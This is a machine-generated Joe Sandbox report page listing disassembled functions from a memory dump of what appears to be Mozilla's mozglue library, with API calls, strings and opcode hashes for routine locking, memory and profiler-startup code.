Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 4025666d8302563bb7ba397587e72ffabd1b5fe3bb834cf4b4c3bef00ade7d82
Instruction ID: 02c507ac145be0b1ee1ed8d7ac49b074c451a130e209462ee0b73e058c1505fb
Opcode Fuzzy Hash: 4025666d8302563bb7ba397587e72ffabd1b5fe3bb834cf4b4c3bef00ade7d82
Instruction Fuzzy Hash: 9871D370A0034AEFCB04CF68D5946AABBB5FF85304F04866DD8154BB41D770AAD9CBE2

Function 6CAAB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CAAB0A6,6CAAB0A6,?,6CAAAF67,?,00000010,?,6CAAAF67,?,00000010,00000000,?,?,6CAAAB1F), ref: 6CAAB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CAAB0A6,6CAAB0A6,?,6CAAAF67,?,00000010,?,6CAAAF67,?,00000010,00000000,?), ref: 6CAAB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CAAB0A6,6CAAB0A6,?,6CAAAF67,?,00000010,?,6CAAAF67,?,00000010), ref: 6CAAB25F

Strings

map/set<T> too long, xrefs: 6CAAB1FA

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 28589b8f3bfe512b962186130e7f492e0174c464b2ca941a1939794be3360c4a
Instruction ID: 01fdd0946ef9f8d23acea2e86b30ea69d7848a3ff7dbd1017bcb0b5905aa8b56
Opcode Fuzzy Hash: 28589b8f3bfe512b962186130e7f492e0174c464b2ca941a1939794be3360c4a
Instruction Fuzzy Hash: C9616D746042498FD701CF59E980A9ABBF1FF49318F18C699D8599FB52C331EC86CB91

Function 6CA6D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA7CBE8: GetCurrentProcess.KERNEL32(?,6CA431A7), ref: 6CA7CBF1
Part of subcall function 6CA7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA431A7), ref: 6CA7CBFA

EnterCriticalSection.KERNEL32(6CACE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA7D1C5), ref: 6CA6D4F2
LeaveCriticalSection.KERNEL32(6CACE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA7D1C5), ref: 6CA6D50B

Part of subcall function 6CA4CFE0: EnterCriticalSection.KERNEL32(6CACE784), ref: 6CA4CFF6
Part of subcall function 6CA4CFE0: LeaveCriticalSection.KERNEL32(6CACE784), ref: 6CA4D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA7D1C5), ref: 6CA6D52E
EnterCriticalSection.KERNEL32(6CACE7DC), ref: 6CA6D690
LeaveCriticalSection.KERNEL32(6CACE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA7D1C5), ref: 6CA6D751

Strings

MOZ_CRASH(), xrefs: 6CA6D4BB

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 7cd39da5700a4476532c8935305498ff03d0de7a3c39f2354dfb8c91875247b4
Instruction ID: 3135c736d2a04bc4da2304b875c926722ceeda088f04e3e529d6834880c987fc
Opcode Fuzzy Hash: 7cd39da5700a4476532c8935305498ff03d0de7a3c39f2354dfb8c91875247b4
Instruction Fuzzy Hash: C3510271A047428FD328CF29C49465AB7E1FB89344F248A2EE599C7F84D730E884CB92

Function 6CA94630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA94721

Strings

profiler-paused, xrefs: 6CA946E4
-%llu, xrefs: 6CA94733
., xrefs: 6CA9476A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: eeb0f27f5c8b4b0b9e6625974b578b6cb841e5f3560ed73dbd1d5af998374f4c
Instruction ID: 4b8169353e73903bc4c0f32c92afa97b6ed952bc7c0713ce8bbda91c5061add7
Opcode Fuzzy Hash: eeb0f27f5c8b4b0b9e6625974b578b6cb841e5f3560ed73dbd1d5af998374f4c
Instruction Fuzzy Hash: 6A417775E187089BCB08CF78D85219EBBE5EF85344F14C63DE865ABB41EB309885C751

Function 6CA946E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA94721

Part of subcall function 6CA44410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA83EBD,00000017,?,00000000,?,6CA83EBD,?,?,6CA442D2), ref: 6CA44444

Strings

profiler-paused, xrefs: 6CA946E4
-%llu, xrefs: 6CA94733
., xrefs: 6CA9476A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: be42f5e33e073b490f81d2dee5e517bf3526ac0a5960d9c6c32c9644bd33ab1e
Instruction ID: 3cfe3f231821184f890bb947958d296ffdb8b6481bf8bbbc51f4bd89652dd2d1
Opcode Fuzzy Hash: be42f5e33e073b490f81d2dee5e517bf3526ac0a5960d9c6c32c9644bd33ab1e
Instruction Fuzzy Hash: 39314B75F142085BCB0CCF6CD89229EBBE6DB88314F18813DE8159BB41EB7099848B90

Function 6CA9B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA44290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA83EBD,6CA83EBD,00000000), ref: 6CA442A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA9B127), ref: 6CA9B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA9B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA9B4E4

Strings

pid:, xrefs: 6CA9B4DE

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 00503186607b003ab23a3e918b11f69d3285aeaf0424b550d475b74a00f3eeb5
Instruction ID: f67513c61f292b01c536ed0b24072e0d3c172d829e17305de42464c6b713ad52
Opcode Fuzzy Hash: 00503186607b003ab23a3e918b11f69d3285aeaf0424b550d475b74a00f3eeb5
Instruction Fuzzy Hash: 6E310631A112188FDB20DFA9E481AEEB7F5BF44308F580629D41267A41D731E5C9CBE1

Function 6CA8E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA8E577
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8E584
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA8E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA8E826, 6CA8E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA8E722, 6CA8E750, 6CA8E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA8E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA8E655
MOZ_PROFILER_STARTUP, xrefs: 6CA8E5A1, 6CA8E5CC, 6CA8E5FF, 6CA8E62A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 9e4d3c03a23ada4d60515928cdbc4b84eeb45cdcd1bfcdfd8ae41d01b218eefa
Instruction ID: 4dfbb345ea63cf350801b00df0bb753d8444f2178ebe48f7633e0ecbf1fd00e3
Opcode Fuzzy Hash: 9e4d3c03a23ada4d60515928cdbc4b84eeb45cdcd1bfcdfd8ae41d01b218eefa
Instruction Fuzzy Hash: C411E135B05349DFCB049F18C948B69BBB4FB89728F40861CE8524BA50C774A986CBD6

Function 6CA90C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA90CD5

Part of subcall function 6CA7F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA7F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA90D40
free.MOZGLUE ref: 6CA90DCB

Part of subcall function 6CA65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA65EDB
Part of subcall function 6CA65E90: memset.VCRUNTIME140(6CAA7765,000000E5,55CCCCCC), ref: 6CA65F27
Part of subcall function 6CA65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA65FB2

free.MOZGLUE ref: 6CA90DDD
free.MOZGLUE ref: 6CA90DF2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 2c0741ae6a4761fdd1e7a45b941d39aa04df1baaa54139ffaca068a11ac241f7
Instruction ID: 6d84f64e6fa1b57274ec935f68bda88dbc69c59833379c5d2a38e32c94066a9c
Opcode Fuzzy Hash: 2c0741ae6a4761fdd1e7a45b941d39aa04df1baaa54139ffaca068a11ac241f7
Instruction Fuzzy Hash: 3B4139759187808BD720CF29C18179AFBF5BFC9754F108A2EE8E887B51D7709488CB82

Function 6CA51720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA517B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CA518EE
free.MOZGLUE(?), ref: 6CA51911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5194C

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 5a461806ddd14efab30bb70226104c38d888bb1a4fb5653dff582a837b5c5be4
Instruction ID: d1dbe39d9ee76944739d3d0fdfc018adeb7b3668d1ef495cd8e532f15d99562d
Opcode Fuzzy Hash: 5a461806ddd14efab30bb70226104c38d888bb1a4fb5653dff582a837b5c5be4
Instruction Fuzzy Hash: 7C81B470A10205DFCB08CFA9D8849BEBBB1FF89314F44852CE911AB750D730E999CBA1

Function 6CA65C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA65D40
EnterCriticalSection.KERNEL32(6CACF688), ref: 6CA65D67
__aulldiv.LIBCMT ref: 6CA65DB4
LeaveCriticalSection.KERNEL32(6CACF688), ref: 6CA65DED

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: df020f30b956df625f4e81d222c632ac80fa51c1f79f7b3d5b3417e78e794444
Instruction ID: cbbf96e017abf945b41c81dc664a11027a52517e45909084e39e8205f27197ac
Opcode Fuzzy Hash: df020f30b956df625f4e81d222c632ac80fa51c1f79f7b3d5b3417e78e794444
Instruction Fuzzy Hash: CC517171E00256CFCF08CFA9C855BAEBBB2FB85304F19861DC851A7B51C7316A86CB90

Function 6CA4CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA4CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA4CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA4CF4E

Strings

0, xrefs: 6CA4CF30

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 23f6336a1a66c28ea17153f0cc5b41a1770e1419dd4f1cf7f69cddc488c88632
Instruction ID: f11b8d450ab7f33b77526ecae86a092ec746bff163e5cbdbdaa6a6084e94f4fd
Opcode Fuzzy Hash: 23f6336a1a66c28ea17153f0cc5b41a1770e1419dd4f1cf7f69cddc488c88632
Instruction Fuzzy Hash: 8D511075A002168FCB00CF18C890EAABBB5EF99304F198199D8595F352D331AD4ACBE0

Function 6CAA77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CAA7829

Part of subcall function 6CA7CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CA431A7), ref: 6CA7CC45
Part of subcall function 6CA7CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CA431A7), ref: 6CA7CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAA789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAA78CF

Part of subcall function 6CA44DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA44E5A
Part of subcall function 6CA44DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA44E97

Part of subcall function 6CA44290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA83EBD,6CA83EBD,00000000), ref: 6CA442A9

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 30a639c054082ded68a8d4bcb0a4e1c42142f1c64563b185ce0b682613f65606
Instruction ID: c230cedeaebfddc7b896e8cbffef26eee20618465d21b011f3fef22e138ea3a6
Opcode Fuzzy Hash: 30a639c054082ded68a8d4bcb0a4e1c42142f1c64563b185ce0b682613f65606
Instruction Fuzzy Hash: 37419D71A047469BD304DF29D48056BFBF4FFCA254F604A2EE4A987640DB30D59ACBD2

Function 6CA86470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA882BC,?,?), ref: 6CA8649B

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA864A9

Part of subcall function 6CA7FA80: GetCurrentThreadId.KERNEL32 ref: 6CA7FA8D
Part of subcall function 6CA7FA80: AcquireSRWLockExclusive.KERNEL32(6CACF448), ref: 6CA7FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA8653F
free.MOZGLUE(?), ref: 6CA8655A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 704a8fe4df8f1db34e7933f49cb3cf3ee3a95701c27e57d95efcd26fa634efb2
Instruction ID: b9a02df0ae5c5ac9f4f162db99edc78304a7ba7fa54d4cd78e88cc612f3d1e5c
Opcode Fuzzy Hash: 704a8fe4df8f1db34e7933f49cb3cf3ee3a95701c27e57d95efcd26fa634efb2
Instruction Fuzzy Hash: 1731A2B5A043059FDB04CF14D980A9EBBF4FF88314F00852EE85A97741DB30EA59CB92

Function 6CA7FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CA9D019,?,?,?,?,?,00000000,?,6CA8DA31,00100000,?), ref: 6CA7FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CA9D019,?,?,?,?,?,00000000,?,6CA8DA31,00100000,?,?), ref: 6CA7FFF5
free.MOZGLUE(?,?,?,?,?,6CA9D019,?,?,?,?,?,00000000,?,6CA8DA31,00100000,?), ref: 6CA8001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CA9D019,?,?,?,?,?,00000000,?,6CA8DA31,00100000,?,?), ref: 6CA8002A

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 14637ef215cf162e607d67510f0ffad9a8f453352a0bb2a2fa451a72db42a86f
Instruction ID: 39b0b06c679ca65534c04f60ab8c7f2cb5274846180874098ff3adbbbee53778
Opcode Fuzzy Hash: 14637ef215cf162e607d67510f0ffad9a8f453352a0bb2a2fa451a72db42a86f
Instruction Fuzzy Hash: E32106B2A002155FD7189F7CDC948AFB7BAFB853243250338E425D7780EA309E4582E0

Function 6CA5B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA5B4F5
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA5B502
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA5B542
free.MOZGLUE(?), ref: 6CA5B578

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 5f0b43a35cc462512adbaff7bf1054ca657f6d6859a9e9321b058ca519b36c31
Instruction ID: a18b2746f2dba2f5974dfd579b46571e67c09dbd3210ca7e4aac8829a1c89610
Opcode Fuzzy Hash: 5f0b43a35cc462512adbaff7bf1054ca657f6d6859a9e9321b058ca519b36c31
Instruction Fuzzy Hash: 47110631A04B42CBD7158F29E9007A1B3B0FF9631AF54D70EE84A57A01EBB5B2D5C790

Function 6CA83DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA4F20E,?), ref: 6CA83DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA4F20E,00000000,?), ref: 6CA83DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA83E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA83E0E

Part of subcall function 6CA7CC00: GetCurrentProcess.KERNEL32(?,?,6CA431A7), ref: 6CA7CC0D
Part of subcall function 6CA7CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA431A7), ref: 6CA7CC16

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
